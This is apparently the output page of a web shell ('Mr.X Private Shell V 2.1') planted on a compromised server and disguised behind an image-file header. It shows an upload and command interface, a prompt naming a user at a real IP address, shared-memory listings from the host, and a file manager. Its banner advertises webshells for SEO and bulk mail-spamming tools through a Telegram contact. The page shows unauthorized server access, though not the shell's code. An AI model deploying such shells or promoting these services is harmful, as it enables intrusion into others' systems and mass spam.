����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

afiencwd@216.73.216.172: ~ $
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
-1354379232  153223171   666                    18 1140785 2989846      0  1288  1259  1288  1259 1730114942 1730114942 1729034633                  4096                     0
      5555          4   644                  1024  3402 81870      0     0     0     0     0 1782978655 1782978655 1713693757                  4096                     0
   5432001  411041800   600                    56 3698667 1771865      6    26    26    26    26 1782997718 1782997718 1782889447                  4096                     0
         0  411271177  1400                 59764 3577047 3619698      2   484   479     0     0 1782969444          0 1782969444                 61440                     0
         0  411140119  1600                   576 994602 1772835      6   475   468   475   468 1782997730 1782997730 1782928310                  4096                     0
         0  411140120  1600               1825056 994602 1772835      6   475   468   475   468 1782997730 1782997730 1782928310               1826816                     0
         0  411140121  1600                 21744 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928312                 24576                     0
         0  411140122  1600                 43456 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928314                 45056                     0
         0  411140123  1600                 65160 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928316                 65536                     0
         0  411140124  1600                 86856 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928318                 90112                     0
         0  411140125  1600                108560 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928320                110592                     0
         0  411140126  1600                130312 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928322                131072                     0
         0  411140127  1600                152008 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928324                155648                     0
         0  411140128  1600                173712 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928326                176128                     0
         0  411140129  1600                195408 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928328                196608                     0
         0  411140130  1600                217112 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928330                221184                     0
         0  411140131  1600                238816 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928332                241664                     0
         0  411140132  1600                260544 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928334                262144                     0
         0  411140133  1600                282240 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928336                282624                     0
         0  411140134  1600                303944 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928338                307200                     0
         0  411140135  1600                325632 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928340                327680                     0
         0  411140136  1600                347328 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928342                348160                     0
-1797958689         41   666                     8 26226 1420926      0     0     0     0     0 1714474271 1714474271 1713694081                     0                  4096
         0  411140138  1600                369016 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928344                372736                     0
         0  411140139  1600                390704 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928346                393216                     0
         0  411140140  1600                412400 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928348                413696                     0
         0  411140141  1600                434096 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928351                434176                     0
 241575423  400949294   600                  5000 3998206 3998206      0     0     0     0     0 1778485863 1778485914 1778485863                  8192                     0
         0  411140143  1600                455784 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928353                458752                     0
         0  411140144  1600                477472 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928355                479232                     0
         0  411140145  1600                499168 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928357                499712                     0
         0  411140146  1600                520856 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928359                524288                     0
         0  411140147  1600                542544 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928361                544768                     0
         0  411140148  1600                564240 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928363                565248                     0
         0  411140149  1600                585936 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928365                589824                     0
         0  411140150  1600                607632 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928367                610304                     0
         0  411140151  1600                629336 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928369                630784                     0
         0  411140152  1600                651040 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928371                651264                     0
1997607107  391086137   666                  1683 2000304 2000304      0  1558  1530  1558  1530 1774677947 1774677947 1774677947                  4096                     0
         0  411140154  1600                672744 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928373                675840                     0
         0  411140155  1600                694432 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928375                696320                     0
         0  411140156  1600                716128 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928377                716800                     0
         0  411140157  1600                737816 994607 1772835      1   475   468   475   468 1782997730 1782997730 1782928420                741376                     0
         0  411140158   600                759512 994607 1772835      2   475   468   475   468 1782997730 1782997730 1782928422                761856                     0

Filemanager

Name Type Size Permission Actions
msg File 0 B 0444
sem File 0 B 0444
shm File 0 B 0444